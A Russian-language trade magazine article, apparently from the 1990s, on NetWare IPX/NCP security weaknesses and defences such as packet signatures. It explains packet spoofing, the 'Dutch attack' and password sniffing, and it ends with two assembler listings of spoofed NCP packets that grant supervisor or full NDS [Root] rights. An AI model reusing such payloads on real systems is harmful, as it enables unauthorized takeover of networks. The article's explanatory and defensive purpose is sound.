В предыдущих номерах LAN уже печатались материалы, посвященные системе безопасности сети Novell NetWare. В данной статье хотелось бы рассказать о некоторых аспектах ее защиты на сетевом уровне, об ее достоинствах и недостатках.
Как правило, сеть NetWare базируется на протоколе IPX (в принципе использование IP возможно, но нами этот вариант рассматриваться не будет).
Протокол IPX был разработан фирмой Xerox, а затем доработан компанией Novell. IPX предназначен для применения в локальных сетях. Предполагается, что вся сеть разделена на логические сегменты, и все они получают уникальный номер. Адрес (идентификатор) рабочей станции в IPX-пакете совпадает с уникальным для каждой сетевой платы номером (MAC-адресом). Структура заголовка IPX-пакета изображена на Рисунке 1.
Рисунок 1.
Структура заголовка пакета IPX.
В локальных сетях типа Ethernet пакеты IPX обычно передаются с использованием кадров Ethernet_802.2 или Ethernet_802.3, в заголовках которых основной информацией являются MAC-адреса станций получателя и отправителя. Адрес отправителя после посылки никем не проверяется, так как это непростая задача. Даже в том случае, если адрес отправителя кем-либо анализируется (например, коммутатором), подставить чужой MAC-адрес не составит труда. Почти все сетевые платы позволяют сделать это как с помощью программных средств Novell (в net.cfg), так и на низком уровне. А ODI-драйвер ODIPKT позволяет самостоятельно сформировать весь пакет и послать его как есть.
Таким образом, пакет, совершенно идентичный пакету администратора можно передать как на уровне Ethernet, так и на уровне IPX. Это означает, что протокол IPX сам по себе совершенно не защищен от посягательств на целостность сети. Следовательно, нарушить работоспособность системы может практически любой пользователь сети (не говоря о профессионалах).
К примеру, если был послан пакет с полем получателя FF,FF,FF,FF,FF,FF (всем станциям в текущем сегменте сети) в кадре Ethernet, то независимо от адреса отправителя его обязательно получит адресат, который указывается в поле "Адрес станции назначения" заголовка IPX-пакета. Более того, если некто (злоумышленник) самостоятельно заполнит IPX-пакет, то он может указать чужой адрес отправителя (администратора сети); такой пакет обязательно дойдет до адресата (сервера) и будет им обработан тем же образом, что и все остальные пакеты администратора. Такой процесс называется по-английски spoofing, а по-русски "подделка адресов".
На уровень выше IPX находится протокол NCP (NetWare Core Protocol), он использует IPX в качестве транспортного протокола, но предусматривает, в отличие от IPX, некоторую степень защиты. NCP используется практически при всех сетевых операциях в сети NetWare; с его помощью передаются файлы и реплики между серверами, осуществляется администрирование системы и т. д. На Рисунке 2 изображена структура заголовка пакета NCP.
Рисунок 2.
Структура заголовка пакета запроса NCP.
Пакеты на уровне NCP неосведомленному человеку подделать несколько сложнее, поскольку необходимо знать номер соединения администратора с сервером. Однако проблема эта вполне решаема благодаря таким программам, как userlist (в NetWare 3.x) и nlist (в NetWare 4.x) или системным функциям оболочки рабочей станции. Остальная информация может быть получена из других источников, к примеру из программы LANalyzer for Windows (фирмы Novell), которая позволяет перехватывать все проходящие мимо рабочей станции пакеты и затем расшифровывает каждое их поле (см. Рисунок 3). Так же можно использовать программу NetXRay (компании Cinco Networks), но, поскольку она написана не Novell, полной гарантии расшифровки пакетов нет. Правда, для использования этих двух программ необходимо иметь сетевую плату, поддерживающую режим приема всех пакетов (promiscuous mode). Большинство новых сетевых плат могут работать в этом режиме, например все сетевые платы компании 3Com.
Рисунок 3.
Novell LANalyzer for Windows.
Таким образом, взломщик сети может узнать всю необходимую информацию о пакете, кроме поля "порядковый номер пакета", но и тут особых проблем не будет. Это поле было введено для обеспечения гарантированной доставки пакетов. При посылке каждого пакета оно увеличивается на единицу, и, если пакет не дошел, он посылается снова. Если вклиниться в обмен пакетами между сервером и клиентом и тем самым увеличить на сервере счетчик клиентских пакетов, то клиент просто "повиснет", т. к. он не будет знать нового значения этого счетчика и снова попытается послать пакет с неправильным номером. Сервер же, получая запрос, проверяет адрес станции, адрес сети, сокет, номер соединения и порядковый номер пакета. Если какое-либо из этих значений не соответствует ожидаемым, то он отказывается выполнять запрашиваемую операцию и не посылает ответ.
На принципе подстановки пакетов была основана так называемая голландская атака, придуманная группой голландских студентов. Существует несколько версий реализации подстановки пакетов. Наиболее известная в России программа написана на ассемблере русским программистом, вместе с ней распространяется файл, содержащий описание ее работы. Эту программу автор статьи довольно часто встречал в сети своего университета, особенно у студентов первого и второго курсов. Теоретически у того, кто ее запустит, должны появиться все права на сервер - эквивалент SUPERVISOR (программа писалась для NetWare 3.x). Но у нее существует несколько недостатков.
Автор этих строк еще не видел, чтобы данная программа работала. В ее коде существует несколько ошибок, из-за которых она "виснет" или просто не работает.
Для проверки работы алгоритма пришлось сделать новую программу. С помощью следующего нововведения удалось добиться, чтобы в сети никто не "повис". Серверу посылаются подряд 256 пакетов с разными значениями в поле Sequence Number (см. Рисунок 4). Только значение поля не увеличивается, а уменьшается. Следовательно, "правильный" пакет серверу придет только один, и значение счетчика пакетов на сервере увеличится только на единицу. Сервер, после того как ему приходит настоящий пакет, полагая, что ответ на предыдущий запрос станции ей не дошел, делает "откат" в счетчике пакетов и обрабатывает запрос станции снова. Но самое главное сервер не делает откат операции, которая только что была выполнена.
Рисунок 4.
Схема перехвата полномочий.
На Распечатке 1 приведен формат пакета, посылаемого подобными программами. Этот пакет эмулирует выполнение операции Equivalent To Me, позволяющей получить почти все права администратора сети (для удобства фоpмат пpиведен в опpеделениях языка ассемблеp).
Данный пример не применим в случае сети NetWare 4.x по следующим причинам.
С учетом всего вышесказанного можно построить пакет, который будет приносить результат и в сети NetWare 4.x. Заголовки протоколов IPX и NCP можно оставить без изменений, а данные NCP могут быть такими, как на Распечатке 2.
Здесь взломщик сети получает права администратора на все дерево NDS. В том случае, конечно, если подобные права есть у самого администратора, и он работает в сети.
Следует отметить, что для получения прав администратора сети злоумышленнику в любом случае необходимо иметь доступ в сеть, хотя бы с минимальными правами. Следовательно, потенциальным взломщиком может быть только тот, кто имеет доступ к ресурсам вашего сервера. Также, вполне вероятно, что некто получит доступ в сеть, используя чужое имя входа и пароль. Наверняка в вашей сети имеются пользователи с паролями, не соответствующими правилам безопасности. Например, у них вообще может не быть пароля или он совпадает с именем пользователя. Для выявления таких пользователей существуют различные вспомогательные программы. Одна из таких программ - chknull.exe - позволяет проверить наличие паролей и степень их безопасности. Запустив ее, вы увидите список пользователей, которые не удосужились задать пароль. С параметром -p программа проверит наличие пользователей, у которых пароли совпадают с их именами входа в сеть. Также в командной строке в качестве параметра вы можете перечислить нежелательные для применения пароли и получить список пользователей с такими паролями.
Эту программу, как и множество других, относящихся к теме безопасности NetWare, можно найти в глобальной сети Internet. Например, по адресу: http://www.tsu.ru/~eugene/, вы найдете и эти программы, и список некоторых адресов, посвященных защите сетей Novell NetWare. Но помните: программой, подобной chknull, можете воспользоваться не только вы, как администратор, но и те, кто хочет получить несанкционированный доступ в вашу сеть.
Начиная с версии 3.11 Novell улучшила систему безопасности NetWare за счет введения подписей пакетов (сигнатур). Для каждого пакета создается уникальная сигнатура, которую очень сложно подделать при посылке чужого NCP-пакета. Подпись представляет собой 8 байт, дописываемые в конец пакета. При приеме пакета сервер анализирует сигнатуру на предмет того, что пакет пришел именно от нужного сервера или станции и не был подставлен третьей стороной. С версии 3.12 и выше подпись стала частью системы.
Подпись пакетов имеет четыре уровня защиты (от 0 до 3). К примеру, при минимальном (нулевом) уровне защиты сервер не подпишет пакеты, даже если этого требует рабочая станция. Первый уровень предполагает, что сервер будет использовать подпись только по требованию рабочей станции. При втором уровне сервер "попросит" станцию включить подпись, и если та этого сделать не сможет, то обмен пакетами будет осуществляться без подписи; в том случае, если на сервере поставлен максимальный уровень (третий), то работать без подписи пакетов он не будет.
Теоретически сигнатура обеспечивает относительно безопасную работу в сети. Правда, злоумышленник по-прежнему имеет возможность просто следить за проходящей мимо информацией и даже сделать копию большей ее части.
При всей кажущейся выгоде использования подписи пакетов существуют некоторые проблемы.
В документации Novell по подписи пакетов присутствует фраза, которая по-русски звучит следующим образом: "Если у вас слишком медленно работает сеть или вы вообще не можете подсоединиться к серверу, убедитесь в том, что на рабочей станции отключена подпись пакетов и на сервере поставлена 1-я сигнатура".
На практике, при использовании подписей пакетов, скорость работы в сети может снизиться на 10-200% (это зависит от конфигурации рабочих станций, сервера и сети), поэтому большинство администраторов сетей предпочитают вообще не ставить подпись или ставить ее только на своем компьютере (правда, потом обидно становится - все работают быстро, а сам медленно...).
Если у вас на сервере стоит поддержка протокола NetBIOS, то следует знать, что он не защищен подписью пакетов, т. к. инкапсулируется в IPX и пока не поддерживает NCP.
Существует еще ряд пакетов, не подписываемых сигнатурой. Например, при удаленной загрузке рабочих станций подпись пакетов не применяется, и, следовательно, можно сделать так, что станция загрузится не с сервера, а с другого компьютера. Если данный компьютер стоит в том же сегменте сети, что и рабочая станция, то сделать это не составит большого труда, а если в другом, то несколько сложнее, но все же возможно. После такой загрузки пользователь подсоединится к настоящему серверу и не заметит, что пароль, который он набирал, уже записан к кому-то на диск или в записную книжку...
Еще один тип пакетов, не имеющих подписи, - SPX. Это протокол передачи данных с гарантированной доставкой пакетов. Пакеты SPX передаются по протоколу IPX. Данный протокол используется некоторыми приложениями, например программой rconsole, позволяющей получить удаленный доступ к консоли сервера. По поводу этой программы в сети Internet уже было много дискуссий. Дело в том, что пароль доступа к консоли передается открыто и никак не шифруется. Следовательно, перехватив поток данных между компьютером администратора сети и сервером, можно получить и этот пароль, которого, вполне вероятно, будет достаточно для последующего получения прав на всю систему в целом.
Функция disconnect, обрывающая связь сервера с клиентом с помощью всего лишь одного пакета, также осталась незащищенной. Любой пользователь сети может незаметно "выкинуть" другого (даже администратора) и наслаждаться сделанной мелкой пакостью, а иногда и не мелкой (например, если в это время шел процесс резервного сохранения данных).
В заключение статьи хотелось бы сказать несколько слов о паролях в сетях NetWare. Дело в том, что узнать пароль можно только лишь при определенных условиях с помощью программы-перехватчика, которая запоминает комбинацию клавиш. Тех, кто думает, что пароль посылается по сети (а таких немало), спешим разочаровать: в NetWare этот недостаток свойственен только программам доступа к консоли сервера NetWare и регистрации пользователей Macintosh. Следовательно, заботой администратора в данной области защиты является периодическая проверка на наличие паролей.
Многие из старых ошибок уже не актуальны в последней версии IntranetWare, но в России эта система пока не получила такого распространения, как NetWare 3.x или NetWare 4.1. Многие сетевые администраторы не хотят переходить на новую систему либо по причине ее кажущейся сложности (хотя это далеко не так), либо по причине отсутствия средств, но не самое ли лучшее вложение денег - в будущую стабильность и надежность?
; ------------------------ уровень Ethernet --------------------- db -1,-1,-1,-1,-1,-1 ; Адрес получателя db 00,20h,0afh,089h,022h,0afh ; Адрес отправителя db 01,48h ; Длина пакета ; ---------------------- Заголовок пакета IPX ------------------- dw 0ffffh db 01,47h ; Длина IPX-пакета db 0 db 17 db ?,?,?,? ; Сеть получателя db 0,0,0,0,0,1 ; Адрес получателя db 04,51h ; Сокет получателя db ?,?,?,? ; Сеть отправителя db ?,?,?,?,?,? ; Адрес отправителя db ?,? ; Сокет отправителя ; ---------------------- Заголовок NCP -------------------------- db 22h,22h db 48 ;(0-256) ; Порядковый номер db 24 ;(подставляется) ; Номер соединения db 4 db 0 db 68h db 2 ; ------------------------- Данные NCP -------------------------- dd -1 dd 514 S1_2: dd offset S1_1 - offset S1_2-4 dd 0 dd 9 dd 0 dd 0 dd 0 SUP_ID: db 67h,02h,00,06h ; Идентификатор супервизора dd 1 dd 5 dd 34 db 'E',0,'q',0,'u',0,'i',0,'v',0,'a',0,'l',0,'e',0 db 'n',0,'t',0,' ',0,'T',0,'o',0,' ',0,'M',0,'e',0 dd 0 dd 1 ; Имя пользователя (каждый символ в формате - 'символ,0') и его длина : dd 8 db '3',0,'1',0,'0',0,'7',0 S1_1:
; -------------------Данные NCP - Уровень NDS ------------------- dd -1 dd 514 So_2: dd offset So_1 - offset So_2+2 ; Длина сообщения dd 0 dd 9 dd 0 dd 0 dd 0 ID db ?,?,?,? ;ID of [Root] dd 1 dd 2 dd 8 db 'A',0,'C',0,'L',0,0,0 dd 1 So_3: dd So_1-So_3 ;Длина ACL dd 30 db '[',0,'E',0,'n',0,'t',0,'r',0,'y',0,' ',0 db 'R',0,'i',0,'g',0,'h',0,'t',0,'s',0,']',0 dd 0 dd 26 ;Длина полного имени So_1: db '3',0,'1',0,'0',0,'7',0,'.',0,'I',0,'N',0,'F',0 db '.',0,'T',0,'S',0,'U',0 dd 1Fh ;Все права